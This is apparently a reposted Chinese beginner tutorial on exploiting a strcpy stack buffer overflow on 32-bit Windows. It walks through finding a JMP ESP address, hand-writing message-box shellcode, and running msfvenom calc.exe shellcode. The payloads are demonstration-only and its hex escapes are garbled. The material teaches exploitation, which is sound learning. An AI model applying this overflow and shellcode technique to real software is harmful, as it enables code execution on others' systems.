• 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!


     

    零基础带你走进缓冲区溢出,编写shellcode

    写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好。

    注:如果有转载请注明出处!创作不易、谢谢合作。

    0、环境搭建

    本次实验所用到的工具有:

    x32dbg:一个基于qt开发的、开源调试器。

    ghidra:美国NSA国家安全局用的反汇编静态分析工具。如果你对IDA熟悉也可以用IDA。(链接在国内无法访问,怎么访问你懂的。)

    visual C++ 6.0:一个微软的编译器。用其他的C++编译器只要取消编译优化即可。

    1、一个有漏洞的小程序:

    在C语言里面的string标准库中,有这么一个著名的strcpy函数,这个strcpy函数的作用就是将字符串数组拷贝到指定的位置。

    但是,再拷贝之前并没有对字符串的长度进行检测!!

    如果这个字符串过长的话就会覆盖相邻的内存。造成缓冲区栈溢出!

    我们的这个漏洞小程序如下所示:

    #include "stdio.h"
    #include "string.h"
    char payload[] = "aaaaaaaa";
    int main()
    {
     char buffer[8];
     strcpy(buffer, payload);
     printf("%s",buffer);
     getchar();
     return 0;
    }

    功能很简单,就是将payload中的字符串拷贝进buffer数组中,并打印出来。

    注意此时buffer的大小为8.

    运行结果如下。

    程序完美运行,但是这个程序真的没问题吗?

     我们接着往下看:

    2、字符串长了!

    代码如下所示:

    #include "stdio.h"
    #include "string.h"
    char payload[] = "aaaaaaaaEBPX";
    int main()
    {
     char buffer[8];
     strcpy(buffer, payload);
     printf("%s",buffer);
     getchar();
     return 0;
    }

    在这里我们加长了payload的长度,大家可以看到,程序还是完美的运行了,。

    因为笔者的电脑是Win10系统,因此系统不会给你进行报错,而是智能的进行了异常处理。所以我们接下来进入调试环节!

    首先我们用ghidra打开我们刚才写好的程序。

    找到我们刚才定义函数在传递参数的时候如下:

     

    不懂汇编没事。你只要看到push 一堆东西,+call 一个东西,那就是在调用函数!

    看到了具体的调用位置,我们打开x32dbg 然后定位到该地址进行分析。

     

    这里我们跳到call的位置,然后用F9执行到这里。

    注意此时箭头所指的俩个位置

    上面的所指的是父函数的EBP地址。

    下面所指的就是函数要返回的地址。

    这时我们让程序继续执行。

    当我们单步执行过之后,我们会发现,这个程序因为缓冲区被冲破,所以父函数EBP被覆盖了,也就是造成了缓冲区溢出。

    那么我们需要思考,是否可以把字符串加长,然后把返回地址给覆盖了呢?答案当然是可以的。

    这样的话,程序就会执行我们的代码了!

    但是如何把我们想执行的代码递给程序执行呢?

    三、JMP_ESP方法编写shellcode

    思路:我们需要寻找电脑中可利用的动态链接库中可以用的指令,这样的话,我们就可以执行我们想要的指令了。

    但是这种指令不一定适合我们,如果没有对应的函数怎么办

    这时候有个非常出名的方法,叫JMP_ESP,他会执行栈中的代码,也就是说我们只要把shellcode放在字符串内就行。

    首先我们需要在电脑中寻找JMP_ESP函数!

    代码如下:

    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
            BYTE *ptr;
            int position;
            HINSTANCE handle;
            BOOL done_flag = FALSE;
            handle = LoadLibrary("user32.dll");
            if(!handle)
            {
                    printf("load dll error!");
                    exit(0);
            }
            ptr = (BYTE*)handle;
    
            for(position = 0; !done_flag; position++)
            {
                    try
                    {
                            if(ptr[position]==0xFF && ptr[position+1]==0xE4)
                            {
                                    int address = (int)ptr + position;
                                    printf("OPCODE found at 0x%x
    ", address);
                            }
                    }
                    catch(...)
                    {
                            int address = (int)ptr + position;
                            printf("END OF 0x%x
    ", address);
                            done_flag = true;
                    }
            }
      getchar();
            return 0;
    }

    运行结果如上,我们随便挑选一个地址即可使用。

     因为我们需要可视化的效果,所以我们挑选一个弹出一个对话框的方法来使我们可视化。

    弹窗地址寻找的代码如下:

    #include<windows.h>
    #include<stdio.h>
    typedef void (*MYPROC)(LPTSTR);
    int main(){
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("user32");
        printf("user32 = 0x%x
    ",LibHandle);
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
        printf("MessageBoxA = 0x%x
    ",ProcAdd);
        getchar();
        return 0;
    }

    运行结果如下:

    接下来我们要寻找能使程序正常退出的函数,代码如下:

    #include<windows.h>
    #include<stdio.h>
    typedef void (*MYPROC)(LPTSTR);
    int main(){
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("kernel32");
        printf("kernel32 = 0x%x
    ",LibHandle);
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess");
        printf("ExitProcess = 0x%x
    ",ProcAdd);
        getchar();
        return 0;
    }

    运行结果如下:

    四、使用x64dbg提取shellcode

    笔者在这里挑选三个地址为:

    jmp esp: 0x74a99be9 //JMP ESP 使EIP跳转到shellcode执行
    msgbox: 0x74991f70 //shellcode执行弹出对话框
    exitprocess:0x75cd4b80 //使程序正常退出

    在这里我是用内联汇编的方法来编写shellcode

    代码如下:

    #include "windows.h"
    int main(){
        LoadLibrary("user32.dll");     //因为调用了user32中的函数,所以需要加载user32,之所以选择user32加载是因为几乎所有win32应用都会加载这个库。
        _asm{             //内联汇编
            sub esp,0x50    //为了使 shellcode 具有较强的通用性,我们通常会在 shellcode 一开始就大范围抬高栈顶,把 shellcode“藏”在栈内,从而达到保护自身安全的目的
            xor ebx,ebx    //将ebx清0
            push ebx        //ebx入栈
            push 0x2020206f
            push 0x6c6c6568   //push "hello" 字符串的ascii码当作标题  小端书写  push的时候不够的话用20填
            mov eax,esp    //将hello标题赋给eax
            push ebx        //ebx压栈   将俩个字符串断开
            push 0x2020206f
            push 0x6c6c6568   //push "hello" 字符串当作内容
            mov ecx,esp    //将内容赋给ecx
    
            push ebx    //messagebox 的第4个参数
            push eax    //messagebox 的第3个参数
            push ecx  //messagebox的第2个参数
            push ebx  //messagebox的第1个参数
    
            mov eax,0x74991f70 //msg
            call eax    //调用msg
    
            push ebx    //向栈内压入0
            mov eax,0x75cd4b80 //将exit函数地址赋给eax
            call eax//调用exit函数
        }
        return 0;
    }

    然后用x64dbg打开后结果如下:

     提取后如下:

    0040103C | 83EC 50                  | sub esp,50                              |
    0040103F | 33DB                     | xor ebx,ebx                             |
    00401041 | 53                       | push ebx                                |
    00401042 | 68 6F202020              | push 2020206F                           |
    00401047 | 68 68656C6C              | push 6C6C6568                           |
    0040104C | 8BC4                     | mov eax,esp                             |
    0040104E | 53                       | push ebx                                |
    0040104F | 68 6F202020              | push 2020206F                           |
    00401054 | 68 68656C6C              | push 6C6C6568                           |
    00401059 | 8BCC                     | mov ecx,esp                             | ecx:EntryPoint
    0040105B | 53                       | push ebx                                |
    0040105C | 50                       | push eax                                |
    0040105D | 51                       | push ecx                                | ecx:EntryPoint
    0040105E | 53                       | push ebx                                |
    0040105F | B8 701F9974              | mov eax,74991F70                        |
    00401064 | FFD0                     | call eax                                |
    00401066 | 53                       | push ebx                                |
    00401067 | B8 804BCD75              | mov eax,<kernel32.ExitProcess>          |
    0040106C | FFD0                     | call eax                                |

    我们去掉乱八七糟的东西后,进行整理如下:

    x33xDB
    x53
    x68x6Fx20x20x20
    x68x68x65x6Cx6C
    x8BxC4
    x53
    x68x6Fx20x20x20
    x68x68x65x6Cx6C
    x8BxCC
    x53
    x50
    x51
    x53
    xB8x70x1Fx99x74
    xFFxD0
    x53
    xB8x80x4BxCDx75
    xFFxD0

    然后我们加上引号

    "xe9xe5xa9x74"
    "x33xDB"
    "x53"
    "x68x6Fx20x20x20"
    "x68x68x65x6Cx6C"
    "x8BxC4"
    "x53"
    "x68x6Fx20x20x20"
    "x68x68x65x6Cx6C"
    "x8BxCC"
    "x53"
    "x50"
    "x51"
    "x53"
    "xB8x70x1Fx99x74"
    "xFFxD0"
    "x53"
    "xB8x80x4BxCDx75"
    "xFFxD0"

    OK!大功告成!

    五、程序运行结果!

    完整程序代码如下:

    #include<stdio.h>
    #include<windows.h>
    char payload[]="aaaaaaaaebxxxe9xe5xa9x74x33xDBx53x68x6Fx20x20x20x68x68x65x6Cx6Cx8BxC4x53x68x6Fx20x20x20x68x68x65x6Cx6Cx8BxCCx53x50x51x53xB8x70x1Fx99x74xFFxD0x53xB8x80x4BxCDx75xFFxD0";
    int main()
    {
     LoadLibrary("user32.dll");
     char buffer[8];
     strcpy(buffer,payload);
     printf("%s",buffer);
     getchar();
     return 0;
    }

    执行后如下所示:

    六、如何0基础几分钟学会编写shellcode?

    使用msf即可。把这个代码记着就会了(笑)。

    msfvenom -p windows/exec cmd=calc.exe -f c

    体验下~:

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"
    "x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"
    "x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
    "x00x53xffxd5x63x61x6cx63x2ex65x78x65x00";
    int main()
    {    
        _asm{
            lea eax,buf
                push eax
                ret
        }
        return 0;
    }

    执行后如上所示。

    PS:笔者在B站做了一次完整的视频!如下操作均可在https://www.bilibili.com/video/av48022107

    这里看到!码字不易!希望大家能够喜欢!

  • 相关阅读:
    TeamX 专为中小团队思考的...团队协作工具
    8 月直播课抢先看 | 代码质量实战 + 微服务项目实战课程报名中
    CODING DevOps 代码质量实战系列第一课,本周开讲!
    CODING 现已支持墨刀原型引入
    CODING 企业微信小程序上线了
    CODING DevOps + Nginx-ingress 实现自动化灰度发布
    第二届腾讯运维技术开放日来啦!
    前端智造,内容新生
    kafka的特性初探
    弄懂一致性哈希后我打通了redis分区集群的原理
  • 原文地址:https://www.cnblogs.com/godoforange/p/10837457.html
Copyright © 2020-2023  润新知